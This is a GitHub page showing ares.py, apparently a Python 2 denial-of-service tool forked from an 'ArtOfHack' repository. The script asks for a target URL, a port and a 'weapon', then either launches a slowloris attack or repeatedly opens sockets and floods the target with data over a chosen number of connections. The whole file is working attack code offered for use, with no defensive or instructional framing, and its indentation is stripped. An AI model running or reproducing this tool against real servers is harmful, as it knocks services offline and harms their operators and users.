forked from ArtOfHack/ares
/
ares.py
121 lines (109 loc) · 3.36 KB
/
ares.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import sys
import time
import string
import socket
import threading
import subprocess
from colored import fg, bg, attr
from logos import random_logos
from backpack import portinfo, attacks
import power_menu
p = "-p"
s = "-s"
clear = lambda : os.system('tput reset')
clear()
def restart_program():
subprocess.call(['python', 'ares.py'])
random_logos()
print ("%sAres has been awoken %s" % (fg(82), attr(0)))
target = raw_input("%sTarget: http://%s" % (fg(59), attr(0)))
print "%sAres is locked on to:%s" % (fg(82), attr(0)), target
time.sleep(2)
clear()
while True:
try:
print "Type 'help' to see port menu"
port = int(input("%sPort: %s" % (fg(59), attr(0))))
except TypeError:
print '\n'.join(map(str, portinfo))
except SyntaxError:
print "%sType a port number%s" % (fg(9), attr(0))
except NameError:
print "Type 'help' to see port menu"
continue
else:
break
print "%sAres is locked on to port:%s" % (fg(82), attr(0)), port
time.sleep(2)
clear()
while True:
try:
print "Type 'help' for weapons or look at the WEAPONS file"
weapon = int(input("%sPick you weapon: %s" % (fg(59), attr(0))))
except TypeError:
print '\n'.join(map(str, attacks))
except NameError:
print "Type 'help' for weapons"
except SyntaxError:
print "Type 'help' for weapons"
continue
else:
break
while True:
if weapon == 2:
port = str(port)
sockets = raw_input("how many sockets: ")
subprocess.call(["python", "slowloris.py", target, p, port, s, sockets ])
else:
break
while True:
if weapon == 1:
break
print "Type 'low' 'medium' 'high' or custum input. look at the 'MENU' file before choosing "
power_menu.data = raw_input("%sWhat power level would you like to send to the server: %s" % (fg(59), attr(0)))
power_menu.power()
print "%sInitializing data, please wait...%s" % (fg(82), attr(0))
time.sleep(3)
clear()
while True:
try:
connection = input("%sConnections: %s" % (fg(59), attr(0)))
except NameError:
print "Type how many connections you would like to make%s" % (fg(9), attr(0))
except SyntaxError:
print "%sType how many connections you would like to make%s" % (fg(9), attr(0))
continue
else:
break
time.sleep(2)
clear()
ip = socket.gethostbyname(target)
print "%s!!!Ares has visual!!!%s" % (fg(59), attr(0))
time.sleep(3)
clear()
print "%sAttacking%s " % (fg(82), attr(0)) +target + ""
def dos():
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((target, port))
ddos.send(power_menu.data)
ddos.sendto(power_menu.data, (ip, port))
ddos.send(power_menu.data)
except socket.error:
print("%sAres has Failed to communicate with%s" % (fg(9), attr(0))), target
print ("%sAres is in fighting%s" % (fg(59), attr(0)))
ddos.close()
for i in range(1, connection):
dos()
clear()
print("%sAres has finshed attacking%s"% (fg(82), attr(0)))
if __name__ == "__main__":
print "%sDo you wish to to awaken him again?:%s " % (fg(82), attr(0))
answer = raw_input()
if answer.strip() in "y Y yes YeS yEs YeS YEs yES Yes YES".split():
restart_program()
else:
print "%sAries is going to rest, made by ~artofhack%s" % (fg(82), attr(0))